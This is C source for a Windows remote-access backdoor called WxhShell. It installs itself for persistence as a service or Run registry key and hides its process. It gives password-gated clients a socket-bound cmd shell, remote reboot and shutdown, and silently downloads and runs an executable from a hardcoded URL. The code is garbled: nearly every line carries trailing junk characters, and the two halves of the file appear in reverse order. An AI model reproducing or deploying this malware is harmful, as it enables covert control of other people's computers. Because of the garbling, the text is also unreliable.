    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y15KaoK?  
    else { fw,ruROqD  
    closesocket(wsh); M@fUZh  
    ExitThread(0); y-O# +{7  
    } 1[o] u:m9U  
    break; ?#ue:O1  
    } +lmMBjDa  
  // 获取shell |5S/h{gq  
  case 's': { O= PFr"  
    CmdShell(wsh); i X qB-4"  
    closesocket(wsh); aW]!$  
    ExitThread(0); s`M[/i3Nm  
    break; 1C(6.7l  
  } 3Vjuk7  
  // 退出 8v"tOa4D7  
  case 'x': { #=UEx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6*%3O=*  
    CloseIt(wsh); Z{RRhJ  
    break; 4 F~e3  
    } q/~U[.C  
  // 离开 SHS:>V  
  case 'q': { rXXIpQRi$S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [,)yc/{*  
    closesocket(wsh); De,4r(5  
    WSACleanup(); @=q,,t$r  
    exit(1); e|u|b  
    break; X~t]qT  
        } XH&Fn+  
  } 3>qUYxG8  
  } cGiS[-g  
jca7Cx`sm  
  // 提示信息 yHkZInn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J;4x-R$W  
} L+2!Sc,>  
  }  ::Y   
~Fv&z'R  
  return; 9.ZhkvR4A  
} HubSmbS1  
C-4NiXa  
// shell模块句柄 pisjfNT`o  
int CmdShell(SOCKET sock) JViglO1\  
{ t] LCe\#  
STARTUPINFO si; |j53' >N[  
ZeroMemory(&si,sizeof(si)); -Qx:-,.a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 50% |9D0?Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A,D67G<v`  
PROCESS_INFORMATION ProcessInfo; iaO;i1K5U  
char cmdline[]="cmd"; uP/PVoKQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r(NfVQF  
  return 0; =ZM#_uW  
} 8$a4[s  
{Buoo~  
// 自身启动模式 &\8.y2=9p  
int StartFromService(void) *m:h0[[J  
{ nB2AmS  
typedef struct |1J=wp)#  
{ +RS>#zd/=  
  DWORD ExitStatus; Q >[*Y/`I  
  DWORD PebBaseAddress; i>6SY83B}  
  DWORD AffinityMask; rks+\e}^Z  
  DWORD BasePriority; T5_z^ 7d  
  ULONG UniqueProcessId; 6He7A@Eh  
  ULONG InheritedFromUniqueProcessId; 2/S~l;x  
}   PROCESS_BASIC_INFORMATION; 0HK03&  
(UmoG  
PROCNTQSIP NtQueryInformationProcess; GczGW4\P'  
_KiaeVE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P lJl#-BO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fo~8W`H&  
<e"O`*ZJ  
  HANDLE             hProcess; yO.3~H)c  
  PROCESS_BASIC_INFORMATION pbi; +;SQ }[  
o<P@:}K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  9],;i7c  
  if(NULL == hInst ) return 0; ?Z%Ja_}8ma  
X.<_TBos|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b2c% 0C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ry*NRP;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -}|GkTM  
OD<0,r0f,  
  if (!NtQueryInformationProcess) return 0; ?l#9ydi?  
rm2"pfs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %98F>wl  
  if(!hProcess) return 0; '8>h4s4  
6dTq&GZ\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dq~p]h~,H  
AH`D&V  
  CloseHandle(hProcess); D3Lu]=G  
|`T3H5X>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bep}|8,#u  
if(hProcess==NULL) return 0; M>J8J*  
Ge$cV}  
HMODULE hMod; ;AKtb S;H  
char procName[255]; B[7|]"L@  
unsigned long cbNeeded; G3&ES3L  
EB jiSQw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =BJ/ZM  
~a m]G0  
  CloseHandle(hProcess); )l*H$8  
}/BwFB+(/  
if(strstr(procName,"services")) return 1; // 以服务启动 ?TLEZlB2"  
0(#HMBE8  
  return 0; // 注册表启动 pHFlO!#]|  
} *)"U5A/v)  
R-]QU`c  
// 主模块 _H@s^g  
int StartWxhshell(LPSTR lpCmdLine) dj4 g  
{ {;^boo q  
  SOCKET wsl; Us.yKAHPV  
BOOL val=TRUE; `Yp\.K z  
  int port=0; ERQ a,h/  
  struct sockaddr_in door; D4'"GaCv  
mtuq  
  if(wscfg.ws_autoins) Install(); 8,2l >S  
d}tn/Eu?B  
port=atoi(lpCmdLine); 9x.vz  
OqUEj 0X  
if(port<=0) port=wscfg.ws_port; wqBGJ   
ie^:PcU  
  WSADATA data; [bkMl+:/HG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @eMDRbgq;[  
At%g^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JbzYr] k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Taxi79cH  
  door.sin_family = AF_INET; k\_>/)g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W ]5kM~Q@  
  door.sin_port = htons(port); 5)V]qV$   
evsH>hE^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C-]H+p  
closesocket(wsl); q]:+0~cz  
return 1; n"Ec%n  
} l)D18  
Y{Kpopst  
  if(listen(wsl,2) == INVALID_SOCKET) { |s|>46E  
closesocket(wsl); !Jb?r SJ.h  
return 1; 4?M= ?K0  
} O; EI&  
  Wxhshell(wsl); 94I8~Jj4  
  WSACleanup(); @]tFRV  
F0:Fv;  
return 0; '[JrP<~^o  
"[@-p  
} 7;Km J}$  
|Z6rP-  
// 以NT服务方式启动 T :CsYj1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $f>Mz|j  
{ `ea;qWy  
DWORD   status = 0; u(02{V  
  DWORD   specificError = 0xfffffff; lT$Vv= M  
tr7FV1p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z_!P0`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8<3J!X+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k='sI^lF  
  serviceStatus.dwWin32ExitCode     = 0; {.SN  
  serviceStatus.dwServiceSpecificExitCode = 0; ! Qrlb>1z-  
  serviceStatus.dwCheckPoint       = 0; Svn|vH  
  serviceStatus.dwWaitHint       = 0; J/w?Fa<  
a}#[mw@m=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jD0^,aiG  
  if (hServiceStatusHandle==0) return; U/,`xA;v>  
*rp@`W5  
status = GetLastError(); wQb")3dw  
  if (status!=NO_ERROR) O(,Ezy x  
{ 7~cN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JO5~Vj_"  
    serviceStatus.dwCheckPoint       = 0; ]eb9Fq:N7  
    serviceStatus.dwWaitHint       = 0; `j[)iok  
    serviceStatus.dwWin32ExitCode     = status; v"O{5LM"  
    serviceStatus.dwServiceSpecificExitCode = specificError; _]1dm)%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `kyr\+hp  
    return; =Xm [  
  } 9g >]m 6  
xZtA) Bp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6VolTy@(x  
  serviceStatus.dwCheckPoint       = 0; cg7NtY  
  serviceStatus.dwWaitHint       = 0; JoKD6Q1D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1mL--m'r  
} T_6,o[b8  
&of%;>$>M  
// 处理NT服务事件,比如:启动、停止 W>dS@;E  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  ]N-K`c]  
{ //Ioh (N  
switch(fdwControl) =NAL*4c+  
{ O-wR48Q  
case SERVICE_CONTROL_STOP: ?YXl.yj  
  serviceStatus.dwWin32ExitCode = 0; Sl^HMO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tNbCO+rZ  
  serviceStatus.dwCheckPoint   = 0; !#3#}R.$Fl  
  serviceStatus.dwWaitHint     = 0; s ZkQJ->  
  { Cv{rd##Y8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g Gg8O? Z  
  } %&Z!-k(  
  return; LB? evewu  
case SERVICE_CONTROL_PAUSE: T'\ lntN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {4CkF \  
  break; eN>=x40  
case SERVICE_CONTROL_CONTINUE: ~yt+xWV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BI;in;Ln  
  break; ]. 1[H~5N  
case SERVICE_CONTROL_INTERROGATE: + R])u5c'  
  break; 4xT(Uj  
}; PQ@(p%   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [rU8%  
} ?.|qRzWL  
vrGRZa  
// 标准应用程序主函数 @s2z/ h0H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y M , hF  
{ |w6:mtaS  
+H/^RvUjF  
// 获取操作系统版本 !s\-i6S>  
OsIsNt=GetOsVer(); @`$8rck`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Eo)Q> AM  
~8`r.1aUO  
  // 从命令行安装 e_g7E+6  
  if(strpbrk(lpCmdLine,"iI")) Install(); $4>K2  
p:k>!8.Qho  
  // 下载执行文件 O]m,zk  
if(wscfg.ws_downexe) { Sq-mH=rs]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s=~r. x  
  WinExec(wscfg.ws_filenam,SW_HIDE); r@"Vbq%  
} _R]la&^2F\  
rxIfatp^  
if(!OsIsNt) { *7nlel  
// 如果时win9x,隐藏进程并且设置为注册表启动 3tS~/o+]  
HideProc(); mcb0%  
StartWxhshell(lpCmdLine); >\^:xx Tf  
} P et0yH  
else _4owxYSDke  
  if(StartFromService()) <2diO=  
  // 以服务方式启动 }c| Xr^  
  StartServiceCtrlDispatcher(DispatchTable); w80g) 4V+  
else 0>Z/3i&?<  
  // 普通方式启动 )]n:y M  
  StartWxhshell(lpCmdLine); h/V0}|b  
mxq'A  
return 0; 3Q~ng2Wv%  
} puL1A?Y8UM  
|0B h  
0kQAT #  
N02N w(pi  
=========================================== fi:Z*-  
Z99%uI3  
hi*\5(uH  
rQ;m|@  
cDxjD5E  
 PZf^r  
" jToA"udW/  
(lwkg8WC  
#include <stdio.h> qdL;Ii<Y0  
#include <string.h> '?v.O}  
#include <windows.h> 'S)}mG_  
#include <winsock2.h> r_-iOxt~5  
#include <winsvc.h> xdXt  
#include <urlmon.h> ,l#V eC  
c+_F nA  
#pragma comment (lib, "Ws2_32.lib") :?U1^!$$1  
#pragma comment (lib, "urlmon.lib") 1 BAnf9  
y2TJDb1  
#define MAX_USER   100 // 最大客户端连接数 PC7U&*x@  
#define BUF_SOCK   200 // sock buffer *'QD!Tc  
#define KEY_BUFF   255 // 输入 buffer @Ej{sC!0T  
z./u;/:  
#define REBOOT     0   // 重启 #Ji&.T^U/  
#define SHUTDOWN   1   // 关机 ] GJIrtS4  
71@V|$Dy  
#define DEF_PORT   5000 // 监听端口 +smPR  
^$6EO) <  
#define REG_LEN     16   // 注册表键长度 ]gQgNn?  
#define SVC_LEN     80   // NT服务名长度 yg5Ik{  
Xi6XV3G  
// 从dll定义API |bO}|X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S$=])^dur  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7-'!XD!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b9%hzD,MR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A>bo Xcr  
UCa(3p^V_  
// wxhshell配置信息 3!Gnc0%c  
struct WSCFG { n* 9)Y~  
  int ws_port;         // 监听端口 Z '/:  
  char ws_passstr[REG_LEN]; // 口令 ]Yp;8#:1  
  int ws_autoins;       // 安装标记, 1=yes 0=no `CUTb*{`  
  char ws_regname[REG_LEN]; // 注册表键名 }RO Cj,|  
  char ws_svcname[REG_LEN]; // 服务名 [_^K}\/+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,~hvFTJI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &+xNR2";  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p4fU/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K!).QB'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ("}TW-r~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }(hx$G^M  
2x"&8Bg3  
}; 4@.qM6 \\q  
nkG1&wiX  
// default Wxhshell configuration ~N;kF.q&>&  
struct WSCFG wscfg={DEF_PORT, y['$^T?oP  
    "xuhuanlingzhe", ^}a..@|%W  
    1, ^I5k+cL  
    "Wxhshell", ol^OvG:TQ  
    "Wxhshell", q$yTG!q*  
            "WxhShell Service", qdx(wGG  
    "Wrsky Windows CmdShell Service", :Z- = 1b~  
    "Please Input Your Password: ", uv%T0JA/  
  1, 7s4G|N[wR\  
  "http://www.wrsky.com/wxhshell.exe", [GyW1-p33w  
  "Wxhshell.exe" &_x:+{06  
    }; ^{T]sv  
U,gg@!1GJo  
// 消息定义模块 D8m1:kU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QaH32(iH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5*/~) wN\U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >OgA3)X  
char *msg_ws_ext="\n\rExit."; F *=>=  
char *msg_ws_end="\n\rQuit."; 7.,C'^ci  
char *msg_ws_boot="\n\rReboot..."; wI'T J e,  
char *msg_ws_poff="\n\rShutdown..."; dzjp,c@  
char *msg_ws_down="\n\rSave to "; \'xF\V  
/vYuwaWG=  
char *msg_ws_err="\n\rErr!"; l:-$ulAx  
char *msg_ws_ok="\n\rOK!"; 3,8<5)ds*  
]]Sz|6P  
char ExeFile[MAX_PATH]; %?Yf!)owh  
int nUser = 0; w<!F& kQB  
HANDLE handles[MAX_USER]; V8@VR`!'  
int OsIsNt; fZw/kjx@  
p9 <XaJ}   
SERVICE_STATUS       serviceStatus; ve49m%NQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bJ4})P&  
*P7 H=Yf&  
// 函数声明 h64<F3}  
int Install(void); !i,Eo-[Z  
int Uninstall(void); vO`~rUA  
int DownloadFile(char *sURL, SOCKET wsh); 93Kd7x-3  
int Boot(int flag); ><V<}&:y$(  
void HideProc(void); $M5iU@A  
int GetOsVer(void); n`8BE9h^  
int Wxhshell(SOCKET wsl); J$F 1sy  
void TalkWithClient(void *cs); { 0RwjPYp  
int CmdShell(SOCKET sock); WWhAm{m  
int StartFromService(void); 3k(A&]~v  
int StartWxhshell(LPSTR lpCmdLine); ++w7jVi9  
&b'IYoe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (HbA?Aja  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  Gf_Je   
& Xm !i(i  
// 数据结构和表定义 ~_6~Fi  
SERVICE_TABLE_ENTRY DispatchTable[] = ? l/VCEZP  
{ ,P ~jO  
{wscfg.ws_svcname, NTServiceMain}, 1Bp?HyCR  
{NULL, NULL} :%7y6V*  
}; f8E,.$>  
!0!m |^c5  
// 自我安装 WVyk?SBw  
int Install(void) >!sxX = <  
{ 1[p6v4qO{  
  char svExeFile[MAX_PATH]; $$F iCMI  
  HKEY key; opsjei@  
  strcpy(svExeFile,ExeFile); ;O8'vp  
Gf71udaa  
// 如果是win9x系统,修改注册表设为自启动 zW#P ~zS  
if(!OsIsNt) { .3>`yL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yw=7(}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A\ARjSdb  
  RegCloseKey(key); nl<TM96  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8! eYax   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RGEgYOO  
  RegCloseKey(key); 3D 4-Wo4  
  return 0; (%~^Kmfb0  
    } $ /`X7a{  
  } 3fGL(5|_  
} =EFCd=i  
else { v}\4/u  
_4,/uG|a O  
// 如果是NT以上系统,安装为系统服务 CCDU5l$$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sE^ee2]OI@  
if (schSCManager!=0) #1fL2nlP*E  
{ N_wj,yF*  
  SC_HANDLE schService = CreateService 8=!uQQ  
  ( x994B@\j+  
  schSCManager, .>#X*u  
  wscfg.ws_svcname, $Mg[e*ct  
  wscfg.ws_svcdisp, E<RPMd @a  
  SERVICE_ALL_ACCESS, ba-4V8w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !E7JDk''@  
  SERVICE_AUTO_START, U45kA\[bZ  
  SERVICE_ERROR_NORMAL, :'`y}'  
  svExeFile, iq^F?$gFk  
  NULL, }TQa<;Q  
  NULL, |P0!dt7sQ  
  NULL, n f.H0i;  
  NULL, ,>+B>lbJ*  
  NULL ;gGq\c  
  ); or,:5Z  
  if (schService!=0) FYs]I0}|  
  { 8;Zz25*  
  CloseServiceHandle(schService); hKnAWKb0  
  CloseServiceHandle(schSCManager); x" lcE@(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qP{Fwn  
  strcat(svExeFile,wscfg.ws_svcname); 3 C{A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PI\C*_.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'VgEf:BS  
  RegCloseKey(key); 2OVN9_D%  
  return 0; j+9;Rvt2  
    } 5'\detV_  
  } @eJ6UML"  
  CloseServiceHandle(schSCManager); w**~k]In  
} 3D;?X@  
} t)|~8xpP  
Vx z`  
return 1; }1 ,\ *)5  
} n&l(aRoyx  
qCkC 2Fy(  
// 自我卸载 Um^4[rl:#g  
int Uninstall(void) A!cY!aQ  
{ {o SdVRI  
  HKEY key; j(A>M_f;  
a[Nm< qV05  
if(!OsIsNt) { iGPrWe@.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vy=P*  
  RegDeleteValue(key,wscfg.ws_regname); 9>ajhFyOhX  
  RegCloseKey(key); e%s1D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4VF4 8  
  RegDeleteValue(key,wscfg.ws_regname); e"y-A&|  
  RegCloseKey(key); !(Ymc_s  
  return 0; :.9Y  
  } Q6)?#7<jy  
} I cASzSjYX  
} 5tyA{&Ao  
else { 5dGfO:Dy_  
9a[1s|>w-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5,-g^o7  
if (schSCManager!=0) )DmydyQ'  
{ }uNj#Uf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5o0n4W  
  if (schService!=0) {#st>%i  
  { jzJQ/ZFS  
  if(DeleteService(schService)!=0) { Gphy8~eS  
  CloseServiceHandle(schService); b@c(Nv  
  CloseServiceHandle(schSCManager); AyWdJ<OU  
  return 0; ~s-bA#0S  
  } 7]} I  
  CloseServiceHandle(schService); R?zlZS.~  
  } W[I$([  
  CloseServiceHandle(schSCManager); i=L 86Ks  
} x <a}*8"  
} I{ Ip  
: tBe/(e4#  
return 1; )RN3Oz@H  
} 0cSm^a  
vh.-9eD  
// 从指定url下载文件 Zb=;\l*&  
int DownloadFile(char *sURL, SOCKET wsh) MJh.)kd$  
{ _CPj] m{  
  HRESULT hr; [O<F`u"a  
char seps[]= "/"; oP`:NCj\9  
char *token; 118lb]  
char *file; \pk9i+t  
char myURL[MAX_PATH]; dG7d}0Ou'  
char myFILE[MAX_PATH]; 2 431v@  
qdLzB  
strcpy(myURL,sURL); /O<~n%< G  
  token=strtok(myURL,seps); b}fC' h  
  while(token!=NULL) BYu(a  
  { >|, <9z`D  
    file=token; P4HoKoj2`  
  token=strtok(NULL,seps); \s%g'g;  
  } rrR"2WuGO  
<o9AjASv\,  
GetCurrentDirectory(MAX_PATH,myFILE); $@@ii+W}\  
strcat(myFILE, "\\"); :-O$rm  
strcat(myFILE, file); 'j*Q   
  send(wsh,myFILE,strlen(myFILE),0); qH0JZdk  
send(wsh,"...",3,0); >-\^)z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sBYDo{0 1  
  if(hr==S_OK) ZBR^$?nj  
return 0; BdMd\1eMw  
else H#7=s{u  
return 1; *Lxt{z`9  
c0Bqm  
} wm^1Fn--  
}-sh  
// 系统电源模块 SOE-Kio=B  
int Boot(int flag) uB^"A ;0v  
{ %19~9Tw  
  HANDLE hToken; |$6Ten[B#  
  TOKEN_PRIVILEGES tkp; Zo-,TKgY'  
@sG*u >   
  if(OsIsNt) { t{ yj`Vg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?FNgJx*\S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O:8 u^ TP  
    tkp.PrivilegeCount = 1; B8eZ}9X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZV:df 6S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~"0{<mMcX  
if(flag==REBOOT) { Op8Gj  `  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fPHV]8Ft|  
  return 0; 0<:rp]<,  
} P5h*RV>oS  
else { ?mM:oQH+>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qLN\>Z,3;  
  return 0; h^_^)P+;  
} hSxK*.W*3  
  } Iila|,cM  
  else { GApvRR+Z  
if(flag==REBOOT) { pY-!NoES  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~Er0$+q=Y;  
  return 0; IP$eJL[&D"  
} 5L<A7^j  
else { Xp| 4WM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ob8}v*s  
  return 0; r>! @Z2%s  
} 9(qoME}>=  
} p>kny?AJ  
tV_3!7m0$  
return 1; s0]ZE\`H>  
} x0>N{ADXQ  
c~/poFj  
// win9x进程隐藏模块 O7_y QQAA  
void HideProc(void) G /$+e  
{ ygV_"=+|N  
pGD-K41O]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $[b}r#P  
  if ( hKernel != NULL ) 43y@9P0  
  { `jR8RDD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4OLYB9HP_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j:uq85 s  
    FreeLibrary(hKernel); Gh.?6kuh  
  } AcEz$wy  
X^dasU{*  
return; 0sA`})Dk  
} E+EcXf  
Ek_&E7  
// 获取操作系统版本 )MSCyPp5  
int GetOsVer(void) A$7K5   
{ J"< h#@`  
  OSVERSIONINFO winfo; FeS ,TQ4j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }f_@@#KB?  
  GetVersionEx(&winfo); RhmkpboucC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ctHQZ#.[(  
  return 1; !]}C!dXd  
  else j@#RfVx  
  return 0; y{<js!au  
} 8@+<W%+th  
N-b'O`C  
// 客户端句柄模块 fj['M6+wd  
int Wxhshell(SOCKET wsl) !-n* ]C  
{ >);M\,1\I  
  SOCKET wsh; sw}^@0ua=  
  struct sockaddr_in client; W`u @{Vb]  
  DWORD myID; 8 %?MRRK  
7)1%Z{Dy  
  while(nUser<MAX_USER) ]b>XN8y.  
{ 9=6BQ`u  
  int nSize=sizeof(client); UroC8Tm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2"|7 YI  
  if(wsh==INVALID_SOCKET) return 1; #@w/S:KbJt  
pYm#iz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7O%^4D  
if(handles[nUser]==0) ooB9i No^  
  closesocket(wsh); O(-6Zqk8Q  
else ^8bc<c:P  
  nUser++; jj;TS%  
  } 3!cenyE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "x.iD,>k  
kI04<!  
  return 0; Het>G{  
} Il>o60u1  
0~_I9|FN  
// 关闭 socket k:iy()n[  
void CloseIt(SOCKET wsh) ollVg/z  
{ !mWm@ }Ujg  
closesocket(wsh); ~iiDy;"  
nUser--; AB0}6g^O  
ExitThread(0); ~.J*_0~Ze  
} 6vTnm4  
gaNe\  
// 客户端请求句柄 8 "NPj0  
void TalkWithClient(void *cs) {/N8[?zML  
{ -qvMMit%7  
dT&u}o3X  
  SOCKET wsh=(SOCKET)cs; Isvb;VT9L  
  char pwd[SVC_LEN]; G(shZ=fq  
  char cmd[KEY_BUFF]; A7XA?>~+|  
char chr[1]; A.7lo  
int i,j; e2tru_#  
?IS[2 v$   
  while (nUser < MAX_USER) { +_vf=d  
=zrfh-lwH  
if(wscfg.ws_passstr) { @c"s6h&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eHGx00:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lb*;Z7fx<'  
  //ZeroMemory(pwd,KEY_BUFF); ">h$(WCK  
      i=0; 0*kS\R=P  
  while(i<SVC_LEN) { `'P&={p8  
(nBh6u*  
  // 设置超时 "X!1^)W -8  
  fd_set FdRead; UUbO\_&y  
  struct timeval TimeOut; t>LSP$  
  FD_ZERO(&FdRead);  Y%y  
  FD_SET(wsh,&FdRead); B<Cg_C  
  TimeOut.tv_sec=8; ^.g-}r8,  
  TimeOut.tv_usec=0; ~,)D n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9mn~57`y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1 |) CQ  
l O*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tQxxm=>  
  pwd=chr[0]; @}wa Z?'  
  if(chr[0]==0xd || chr[0]==0xa) { +>2.O2)%q  
  pwd=0;   < /5  
  break; wL]#]DiE  
  } snu?+*6  
  i++; ,afO\oe>MG  
    } @ZJ }lED3  
Q3$DX, 8?  
  // 如果是非法用户,关闭 socket Hd7Vp:KM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _akjgwu  
} sKs`gi2  
SS8$.ot  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ./.aLTh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P|lDW|}D@  
O8v9tGZoh  
while(1) { R47y/HG,  
S9nn^vsK  
  ZeroMemory(cmd,KEY_BUFF); kD1Nq~h2  
lt]&o0>  
      // 自动支持客户端 telnet标准   r}Gku0Hu_E  
  j=0; 5&_")k3$*  
  while(j<KEY_BUFF) { #cW :04  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xX{Zh;M&[  
  cmd[j]=chr[0]; ]mNsG0r6  
  if(chr[0]==0xa || chr[0]==0xd) { e0ni  
  cmd[j]=0; zLg$|@E&  
  break; 5.oY$tb(  
  } :J x%K  
  j++; 1g t 7My  
    } <s|.2~  
ci:|x =  
  // 下载文件 |)0Ta 9~  
  if(strstr(cmd,"http://")) { kSCpr0c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &%)F5PT  
  if(DownloadFile(cmd,wsh)) XN?my@_HpM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :P%?!'M  
  else mMWhUr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Lj:m.0O^  
  } SfrM|o  
  else { dWi.V?K4z  
L*4= b (3  
    switch(cmd[0]) { X_bB6A6  
  8WpNlB+:{  
  // 帮助 {x..> 4  
